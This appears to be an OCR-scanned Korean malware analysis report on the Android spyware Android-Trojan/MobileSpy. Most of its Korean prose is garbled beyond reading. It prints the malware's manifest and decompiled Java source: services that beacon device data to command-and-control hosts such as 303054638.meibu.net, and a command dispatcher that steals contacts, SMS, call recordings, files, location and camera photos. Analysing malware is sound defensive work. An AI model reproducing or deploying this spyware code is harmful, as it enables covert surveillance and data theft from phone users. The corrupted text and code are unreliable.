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<?xml version="1.0" encoding="utf-8'?>
<manifest xmlns:android=
“http://schemas.android.com/apk/res/android" android:ver-
sionCode="1"
android:versionName="4.1.0.1" package="com.
server”>
<uses-sdk android:minSdkVersion="3"/>
-
<service android:name=".BootService">
<intent-filter>
<action android:name="com.server.BootService"/>
</intent-filter>
</service>
<service android:name=".PhoneListenerService">
<intent-filter>
<action android:name="com.server.Phone-
ListenerService"/>
</intent-filter>
</service>
-
<receiver android:name=".SDCardBroadCastReceiver”>
<intent-filter>
<action android:name="android.intent.action.MEDIA__
SCANNER_FINISHED"/>
<data android:scheme="file"/>
</intent-filter>
</receiver>
</application>
<permission android:name="android.permission.BAIDU_
LOCATION_SERVICE"/>
<uses-permission android:name="android.permission.
BAIDU_LOCATION_SERVICE"/>
<uses-permission android:name="android.permission.
ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.
ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.
INTERNET"/>
<uses-permission android:name="android.permission.
ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.
CHANGE_WIFI_STATE"/>
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<uses-permission android:name="android.permission.
READ_SMS*/>

<uses-permission android:name="android.permission.
SEND_SMS*/>

<uses-permission android:name="android.permission.
WRITE_SMS"/>

<uses-permission android:name="android.permission.
RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.
PROCESS_OUTGOING_CALLS"/>

<uses-permission android:name="android.permission.
READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.
READ_CONTACTS"/>

<uses-permission android:name="android.permission.
MOUNT_UNMOUNT_FILESYSTEMS"/>

<uses-permission android:name="android.permission.
WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.
ACCESS_FINE_LOCATION"/>

<uses-permission android:name="android.permission.
RECORD_AUDIO"/>

<uses-permission android:name="android.permission.
CAMERA"/>

<uses-permission android:name="android.permission.
VIBRATE"/>

<uses-permission android:name="android.permission.
READ_LOGS"/>

<uses-permission android:name="android.permission.
WRITE_SETTINGS"/>

</manifest>

AndroidManifestS Saf| siiE 29| QIE{Lll F,
QAO[IO[(Wi-Fi) 2 X HIESZ HEHE Sfelstn]
CHU7|of| MEE HEtK Y, & 425 SMS| LY
B, UM MSIE MEE s HEH SO US2
golgh 4~ QUL TF, 7102l QLR =2 75 S

Zt5t= ‘BootService 7t Qo0 F3} =4l A| SEt
= ‘PhonelListenerService7| Y28 &
C|

ol

-

30

O[XZ AndroidManifestOi|A] LIEF-F 2t 2]A|
H, AH|A HEHZ O0|20{2 i Android-Trojan/
MobileSpy= ADIEEL| 2|AA F FHHEL S4

=52 oliHoR AI8E 4 9l1 55t 2xjot B

=] — A
B 71= ¥ S5 L0 thigt M2 = 7hssith= AE
3584t

(Calls~CONTENT_URI

INTERNET
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£ 225101 Z|F M&51H, ‘MainActivity’ 2eHA
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- SN 912
- 7125E(CPU HE, 8101 37|, HIE9I3 Mlef) Mz T

PhoneListenerService [

12 3-6 | MainActivity 22|24 1=

m
#

b

MainActivity= BootService2t PhonelListe-
AMBHSICE BootService= C&C
I5t11 CPU MH, 1M 37|, I_-||E
ADIEZES| HHE C&C MHE ™

5t= 7152 7HKIH, PhoneListenerServiceE
S35 =36h= 7|52 #1 QUCE 0|2t 2HAE FE

= LSt 2ot

nerServiceE 4
MEQt EAIZ =tol
T ME S

public class MainActivity extends Activity {
cee
void Start()
{
SystemInfo.m_pMainIntent = new Intent();
SystemInfo.m_pMainIntent.setAction("com.server.
BootService");
this.startService(SystemInfo.m_pMainintent);
SystemInfo.m_pPhoneListenlntent = new Intent();
SystemlInfo.m_pPhoneListenintent.setAction("com.server.
PhoneListenerService");
this.startService(SystemInfo.m_pPhoneListenintent);

return;

protected void onCreate(Bundle p4)
{
super.onCreate(p4);
this.setContentView(2130903041);
this.findViewByld(2131230721);
this.Start();
this.finish();

return;

2. BootService

+ 303054638 meibu.net / 1086 212

SRSl - v 0000gic.com / 1086 912

- flREE
LocationClient e

- M| 912 £ CPU I, 8133e, oj22| F,
HIE2|3 HZYef MHi2 2E

1213-7 | BootService 224 71X

BootService= Baidu LocationClientE &3
St X|HE C&C A= AZ3H AIBX FHEE 2

HZ MESICE Baidu LocationClient= Baidu
OflM M= 2 Hi = oh= @IX| FE &S 2 21o[HE
2|£, liblocSDK3.so2k= H|O|E|E 2f0[=2{2|C},

MainThread

package com.server;

public class BootService extends Service {
void Start(Service p10)
{
SystemInfo.m_LocationClient = new LocationClient(this.

getApplicationContext());

if(new DataFile(p10, Systeminfo._strOnlineFile).isFileExit()

SystemInfo.m_strHost = new String(Baseé4.
decode(SystemInfo.m_strHost.getBytes(), 0));
SystemlInfo.m_strHost = Systemlinfo.
GetFromAssets(p10, "OnLine.txt");
this.m_mainThread = new MainThread();
this.m_mainThread.SetConnetHost(SystemInfo.m_
strHost, SystemlInfo.m_nPort);
this.m_mainThread.SetActivity(p10);

new Thread(this.m_mainThread).start();

Thread.sleep(10000.0);
SystemInfo.m_strHost2 = new String(Baseé4.

decode(SystemInfo.m_strHost2.getBytes(), 0));
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this.m_mainThread2 = new MainThread();
this.m_mainThread2.SetConnetHost(SystemInfo.m_
strHost2, SystemInfo.m_nPort);
this.m_mainThread2.SetActivity(p10);
new Thread(this.m_mainThread2).start();

return;

}

public void onCreatel) {
super.onCreate();
this.m_Service = this;
this.Start(this);

return;

BootServiceZt AlE|H HX| x| HE &lS
23l LocationClient Z4H|E MAsH £ LYo
isonlie.dat7} =X &fRItCY. isonlie.d

O OnLine.txtOM SAE URLS| FAE 91
A2 FAE HLESICE 25 M0| H&sh= URL
£ 303054638.meibu.netO|C}. 10 F LHEO|

Baseé4 QIALEI FA01 www.g0oo0gle.com
OF H&GHC

3. MainThread
MainThread= sendOnlineMessageE Al
IisiC},

$t 3 MainManagers &3list

public class MainThread implements Runnable
{
cee
public void run() {
while(true) {
if(this.m_mainManager.bConnected) {
this.m_mainManager = new MainManager();
this.m_mainManager.SetActivity(this.m_Activity);

this.m_mainManager.SetConnetHost(this.m_strHost,

this.m_nPort);
if(this.m_mainManager.initSock() != 0) {
this.sendOnlineMessage();

new Thread(this.m_mainManager).start();

}
Thread.sleep(10000.0);

sendOnlineMessage= CH21t ZH0| A|AEI Y
E 475l C&C MHZ F

HEBIC
public void sendOnlineMessage() {

v1 = new byte[501];

v5 = new Systeminfo();

v5.SetActivity(this.m_Activity);

v1[0] =

v2 = v5.getCpulnfo().getBytes(“Unicode");

System.arraycopy(v2, 0, v1, 1, v2.length);

v2 = v5.getTotalMemory().getBytes("Unicode");

System.arraycopy(v2, 0, v1, 101, v2.length);

v2 = v5.getHeightAndWidth().getBytes("Unicode");

System.arraycopy(v2, 0, v1, 201, v2.length);

v2 = new
StringBuilder(String.valueOf(SystemInfo.ReadWriteStact(this.
m_Context])).append(SystemInfo._strVersion).toString().
getBytes("Unicode");

System.arraycopy(v2, 0, v1, 301, v2.length);

v1[401] = v5.getNetWorkStat();

this.m_mainManager.m_clientSock.sendBuffer(v1, 501);

return;

4. MainManager
MainManagere C&C ME{Of|A TEs MY
310151 D 2351} [12] 3-8]2 QK mHIY oF

=) =
A= BN L35 0|83 MainManagerE Al

o ox o
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CameraManager

FileManager
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Manager

LoeationManager FileUtil
MainThread
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Calls~CONTENT_URI
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MessageManager
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PhoneBookManager [ FileManager ‘ RecodeManager
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MessageManager
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o

public class MainManager extends ClientManager {
public void OnRecivelbytel] p26, int p27) {
switch(p26[0]) {
case 0:

v16 = new PhoneBookManager();

v16.SetConnetHost(this.m_strHost, this.m_nPort);

if (v16.initSock() == 0) {

}else {
v16.SetActivity(this.m_Activity);
v16.SendStart();
new Thread(v16).start();

}

break;

MainManagere= A{H{e] HE0|| 2t SZtstH 7t

St A2 i3t 2Lk

® PhoneBookManager
MEHOf|A] =415t 240] ‘02l B2, PhoneBookMa-
nager ZiR|7t MEE D XIYE MHZ 12 Y

£ H&sitt

® PhoneRecodeManager

MEOI| M £=A15H Z0] 121 B, PhoneRecode-
ManagerE st Mot ARG MHE2
'52'E T&5t1 PhoneRecodeManagers Alxt
St PhoneRecodeManagers E3t 7152 A
H= MEBICL

n b

[0
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- Jr
> 0
S o

nelistenerService= E3} AlEHE 7|
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hhmm.amr'0j2t= 0|22 2 3t i8S =36t

Ct 3Pt S2&H =32 HECL

J

=2 I room
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[e]
= o
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sdc

Q
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case 1:
v17 = new PhoneRecodeManager();
v17.SetConnetHost(this.m_strHost, this.m_nPort);
if (v17.initSock() == 0] {
Yelse {
v17.SetActivity(this.m_Activity);
v17.SendStart();
new Thread(v17).start();
}
break;
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[ ] MessageManager
ME{Of| A a=215H 2t
ManagerZ MM
‘53’8 M&5t0 MessageManagers AP%PE}
MHZRE 415 Z10]| 2t SMSeF ZHAE

f0] ‘2’2l AL, Message-

J51T Mo} SAIBHCE A2

xtoie
Se=
3ICt,
case 2:
v11 = new MessageManager();
v11.SetConnetHost(this.m_strHost, this.m_nPort);
if (v11.initSock() == 0) {
}else {
v11.SetActivity(this.m_Activity);
v11.SendStart();
new Thread(v11).start();
}
break;
M FileManager
ME{of|A] =415t ZH0] ‘301 22, FileManagerE
5T Mo SAIBICH M2 '54'S F&sD
FileManagerE A[&$ICE FileManagers B
710l| XZHE! mpof| CHEH 242 4TI

case 3:
vé6 = new FileManager();
v6.SetConnetHost(this.m_strHost, this.m_nPort);
if (vé.initSockl) == 0) {
}else {
vé6.SetActivity(this.m_Activity);
vé.SendStart();
new Thread(vé).start();
}

break;

B MainThread

MO A =215t 2

2401721 B2, e £

%

URL

1} Port2 C&C FAE HASIC} HPE FAH 4

HEZ|M MainThreadS CHA| A[ZtSICH.

case 7:
v9 = new bytel(p27 - 1)1;
v10 = new MainThread|();
new String();
System.arraycopy(p26, 1, v9, 0, (p27 - 1));
v21 = new String;
v21(v9, "UTF-8");
v14 = v21.lengthl();
if (V14 <=0) {
Yelse {
v13 = v21.indexOf(":");
v10.SetConnetHost(v19, Integer.parselnt(v21.
substring((v13 + 1), v14)));
v10.SetActivity(this.m_Activity);
new Thread(v10).start();
}

break;

B LocationManager

ME{Ol| A =215t Zho] ‘8’2l AL, Location-
Managerg MAMst At SAISICE MHZ
‘572 4311 LocationManagerE ARt
LocationManager= THR7[9| /K| HEE AH

= MEBICL

case 8:
v8 = new LocationManager();
v8.SetConnetHost(this.m_strHost, this.m_nPort);
if (v8.initSock() == 0) {
Yelse {
v8.SetActivity(this.m_Activity);
v8.SendStart();
new Thread(v8).start();
}

break;
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B Uninstall
AEHOlIA =415t 2101 921 B2, UnlnstallE &5
I} Uninstall2 isonlie.dat IS M5t if vk initSockl) == 0] {

ok 2 =7|sfslCt, Yelse {
v4.SetActivity(this.m_Activity);

case 14:

v4 = new CameraManagerl();

v4.SendStart();
case 9:
this.UnInstalll); new Thread(v4).start();
break; }
break;

W RecodeManager

ME{O| A £=AI5H Z0] “10°Q) 22, Recode- M Ko***Manager

v4.SetConnetHost(this.m_strHost, this.m_nPort);

ManagerS MA5tD Mujot SABHH M2 ME{0 M A5 2H0] '30°¢l B2, Ko***-

[

'58'S T45t1 RecodeManagerE AIBICE.  ManagerZE MAM5tn AB{et £

o
RecodeManager= 38 552 451 CIO|E]  80'S T&3tL Ko***ManagerE ARSI

= !
£ MHZ HABIC Ko***Manager& C{HIO|AO| XZHE &% of
E2/40|4 DB UIES M= &SI T, sl o
case 10: _ -
oo Recodebanagerl A Che} LIS CHE QO TR 4 gt Tl
v18.SetConnetHost(this.m_strHost, this.m_nPort); E1E|0-|| X—17C(>|'E|7| [[H_E_()” _?_EC.JEIJ I:I_|-E|E|‘7|0-||A-|DI_|- Ol
if (v18.initSock() == 0) { = -
0| =EXI5H
Dellen ool o—|°|_|:|'-
v18.SetActivity(this.m_Activity);
v18.SendStart(); case 30:
new Thread(v18).start(); v7 = new Ko***Manager();
} v7.SetConnetHost(this.m_strHost, this.m_nPort);
break; if (v7.initSock() == 0) {
Yelse{

v7.SetActivity(this.m_Activity);

W CameraManager v7.SendStart();

new Thread(v7).start();
ME{Of| A A15H Zho| ‘14’01 AR, Camera- }
ManagerZS MM5t1 ME{QF EASHTE M el

=
260’2 &5t CameraManagers A%
n

SiCt. M=

gt} CameraManager= AutofocusE 0| X7 M 242 Salf 42 Android-

M

2| AtFIZ #dst & SDCard/AnServer/ Trojan/MobileSpy2| FR 7|52 Q
CamMMddhhmm.jpg @402 XAl 0|2 3-10]2+ 2L

M2 ST
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